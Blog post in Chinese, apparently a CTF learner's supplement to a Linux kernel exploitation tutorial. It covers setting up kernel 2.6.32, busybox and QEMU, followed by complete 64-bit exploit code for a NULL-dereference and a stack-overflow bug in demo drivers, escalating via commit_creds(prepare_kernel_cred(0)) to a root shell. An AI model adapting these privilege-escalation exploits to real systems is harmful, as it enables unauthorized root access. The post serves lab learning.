从强网杯2018开始,突然发现没有接触过的东西很多想拓展一下自己的知识面,开始从Linux Kernel的PWN入手吧。
最开始参考的是安全客上的两篇文章,都来自o0xmuhe
Linux 内核漏洞利用教程(一):环境配置
Linux 内核漏洞利用教程(二):两个Demo
本篇博客主要补充上述博客中没有详细描述的地方,和踩过的坑。(可能只有我基础这么差…)
环境配置 编译内核 文中提到的安装依赖库及qemu时,在make menuconfig就很懵…
1 2 3 4 5 6 7 $ cd linux-2.6.32.1/ $ sudo apt-get install libncurses5-dev $ sudo apt-get install qemu qemu-system $ make menuconfig $ make $ make all $ make modules
突然出现一大堆选项,而且并不知道是干嘛的…
最后发现这个东西仅仅是为了生成.config这个配置文件的,因此直接选择最下面的Save an Alternate Configuration File ,然后选择默认命名的.config就可以了。
其余就没为什么问题了,除了make命令时极慢,通常还会报几次错,但网上都搜得到。
编译busybox 在编译busybox时,需要去掉
1 Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
2 Networking Utilities -> [] inetd (Internet超级服务器)
配置busybox qemu的启动,需要使用busybox生成一个简易的文件镜像,采用的方法选择文章中的第二种(第一种我没成功)
首先,在busy-box的根目录下建立_install文件夹,作为文件系统
1 2 cd _installmkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
在_install中的etc文件中增加inittab文件,
1 2 3 4 5 6 7 8 9 cd etctouch inittab -----------------------This is Content--------------------------- ::sysinit:/etc/init.d/rcS ::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init
增加etc/init.d/rcS文件
1 2 3 4 5 6 7 8 9 10 11 12 mkdir init.d cd init.dtouch rcS -----------------------This is Content--------------------------- #!/bin/sh #!/bin/sh mount -t proc none /proc mount -t sys none /sys /bin/mount -n -t sysfs none /sys /bin/mount -t ramfs none /dev /sbin/mdev -
建立完上述文件后,可以制作img镜像了。
在_install文件夹下:
1 find . | cpio -o --format=newc > ../rootfs.img
启动qemu 启动gdb的脚本
1 2 3 4 5 6 7 8 9 10 gdb \ -ex "add-auto-load-safe-path $(pwd) " \ -ex "file vmlinux" \ -ex 'set arch i386:x86-64:intel' \ -ex 'target remote localhost:1234' \ -ex 'break start_kernel' \ -ex 'continue' \ -ex 'disconnect' \ -ex 'set arch i386:x86-64' \ -ex 'target remote localhost:1234'
启动qemu的脚本
1 qemu-system-x86_64 -m 128M -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd busybox-1.28.2/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" --nographic -gdb tcp::1234 -S -netdev user,id=t0, -device e1000,netdev=t0,id=nic0
两个Demo 编译内核驱动 编译内核及利用的exp、poc时,一定要放在之前下载的内核目录下 ,一定要放在之前下载的内核目录下 ,一定要放在之前下载的内核目录下 。
另外,在拷贝文章中给的代码时,把空格替换成TAB,并且命名成Makefile
每次将ko、exp、poc编译好后,放入之前建好的_install文件夹中,每次都需要用find . | cpio -o –format=newc > ../rootfs.img重新建立镜像。
NULL Dereference 这个漏洞其实很简单,就是每次调用write函数时,驱动执行以后,就会跳转到0x0地址去执行。
因此,利用mmap申请0x0地址的堆块,然后赋予可执行权限,防止跳转过去以后段错误即可,在mmap出来的堆块写入shellcode提权就没问题了。
和文章中有区别的是,自己作死用的amd64的镜像,其实和普通的PWN是一样的,传参之类的都一样。
附64位的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 -----------------------shellcode.s ----------------- xor %rax,%rax mov %rax,%rdi call 0xffffffff81081030 mov %rax,%rdi call 0xffffffff81080e40 ret ------------------------exp .c --------------------- #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> char shellcode[] = "\x48\x31\xc0\x48\x89\xc7\xe8\x25\x10\x08\x81\x48\x89\xc7\xe8\x2d\x0e\x08\x81\xc3" ;int main () { mmap(0 , 4096 ,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1 , 0 ); memcpy (0 , shellcode, sizeof (shellcode)); int fd = open("/proc/bug1" , O_WRONLY); write(fd, "muhe" , 4 ); system("/bin/sh" ); return 0 ; }
Kernel Stack Overflow 这个函数在write中有一个栈溢出漏洞,需要关闭canary重新编译内核,建议把之前用的内核vmlinux保存下来,然后修改.config后,make -> make all -> make modules就可以了…
在其他问题中,AT&T在64位下实在是太磨人了,附64位exp(汇编写的很渣…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> unsigned long long eip,user_cs,user_eflags,user_sp,user_ss;char bin_sh[] = "/bin/sh" ;struct trap_frame { void *eip; uint32_t cs; uint32_t eflags; void *rsp; uint32_t ss; }__attribute__((packed)); struct trap_frame tf ;void get_shell (void ) { system("/bin/sh" ); } void init_tf_work (void ) { unsigned long long i = 0x50 ; unsigned long long j = 0x78 ; asm ( "subq %2,%%rsp\n" "movq %%ss,%%rax\n" "pushq %%rax\n" "pushq %%rsp\n" "pushfq\n" "movq %%cs,%%rax\n" "pushq %%rax\n" "pushq %0\n" "movq %%rsp,%1\n" "addq %3,%%rsp" :"=m" (eip),"=r" (user_sp),"=m" (i),"=m" (j) : :"memory" ); } #define KERNCALL __attribute__((regparm(3))) void * (*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xffffffff81080db0 ;void (*commit_creds)(void *) KERNCALL = (void *) 0xffffffff81080bc0 ;void payload (void ) { commit_creds(prepare_kernel_cred(0 )); asm ( "movq %0,%%rsp\n" "iretq\n" :"=m" (user_sp) ); } int main (void ) { char buf[40 ]; memset (buf,0x41 ,40 ); eip =(unsigned long long ) get_shell; *((void **)(buf+32 )) = &payload; init_tf_work(); write(1 ,buf,sizeof (buf)); int fd = open("/proc/bug2" ,O_WRONLY); write(fd,buf,sizeof (buf)); return 0 ; }